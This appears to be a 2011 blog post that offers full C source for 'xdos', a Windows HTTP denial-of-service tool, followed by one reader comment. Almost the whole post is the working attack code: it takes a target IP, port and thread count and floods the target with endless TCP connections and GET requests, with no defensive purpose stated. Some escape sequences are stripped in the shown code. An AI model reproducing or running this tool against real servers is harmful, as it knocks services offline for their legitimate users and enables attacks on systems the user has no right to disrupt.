Sep 1, 2011

xdos.c : A Simple HTTP DoS Tool! : Source code


A denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a computer resource unavailable to its intended users.This is the source code of this simple HTTP DoS tool which is written in C

#define WIN32_LEAN_AND_MEAN
#include <stdio.h>
#include <windows.h>
#include <winsock2.h>

unsigned long thread = 0;

static int connect_tv(struct sockaddr_in *addr, int timeout);
static DWORD WINAPI dosmain(LPVOID p);
const int main(int argc, char *argv[])
{
	if(argc != 4) {
		puts("ttttXDOS - by Bull Moosen");
		printf("Usage: %s [IP] [Port] [Threads]n",argv[0]);
		return 1;
	}
	puts("Initiating xdos...n");
	struct sockaddr_in saddr;
	unsigned long tid;
	int i;

	memset(&saddr, '\0', sizeof(saddr));
	saddr.sin_family = AF_INET;
	saddr.sin_addr.s_addr = inet_addr(argv[1]);
	saddr.sin_port = (short)htons(atoi(argv[2]));

	for(i = 1; i <= atoi(argv[3]); i++) CreateThread(0,0,dosmain,(LPVOID)&saddr,0,&tid);
	puts("Attack sequence engaged!n");
	dosmain(&saddr);
	return 0;
}
static int connect_tv(struct sockaddr_in *addr, int timeout)
{
	int s;
	unsigned long i;
	fd_set wr_fds, err_fds;
	struct timeval tv;

	s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (s == 0 || s == INVALID_SOCKET) return 0;

	tv.tv_sec = timeout / 1000;
	tv.tv_usec = 0;

	i = 1;
	ioctlsocket(s, FIONBIO, &i);

	for (;;) {
		i = connect(s, (struct sockaddr *)addr, sizeof(struct sockaddr_in));
		if (i != SOCKET_ERROR)
			goto exit_connected;
		i = WSAGetLastError();
		if (i == WSAENOBUFS) {
			Sleep(50);
			continue;
		}
		if (i == WSAEWOULDBLOCK)
			break;
		goto exit_err;
	}

	FD_ZERO(&wr_fds);
	FD_SET(s, &wr_fds);
	FD_ZERO(&err_fds);
	FD_SET(s, &err_fds);
	i = select(s+1, NULL, &wr_fds, &err_fds, &tv);

	if (i == 0 || i == -1)
		goto exit_err;
	if (FD_ISSET(s, &err_fds) || !FD_ISSET(s, &wr_fds))
		goto exit_err;

exit_connected:
	i = 0;
	ioctlsocket(s, FIONBIO, &i);
	return s;

exit_err:
	closesocket(s);
	return 0;
}
static DWORD WINAPI dosmain(LPVOID p)
{
	extern unsigned long thread;
	thread++;

	printf("Thread number %u initiated!n",thread);
	struct sockaddr_in addr;
	char Buffer[] = 
		"GET / HTTP/1.1rn"
		"Host: 127.0.0.1rnrn";
	SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_BELOW_NORMAL);
	int sock;
	if (p == NULL) goto ex;
	addr = *(struct sockaddr_in *)p;
	for (;;) {
		sock = connect_tv(&addr, 8);
		if (sock != 0) {
			send(sock,Buffer,strlen(Buffer),0);
			Sleep(300);
			closesocket(sock);
		} else if(sock==SOCKET_ERROR) {
			puts("Error: Socket Error.n");
			ExitProcess(1);
		}
	}
ex:	ExitThread(0);
	return 0;
}

1 comments:

hai.. its not working when i was update error showing

Post a Comment

Share

Twitter Delicious Facebook Digg Stumbleupon Favorites More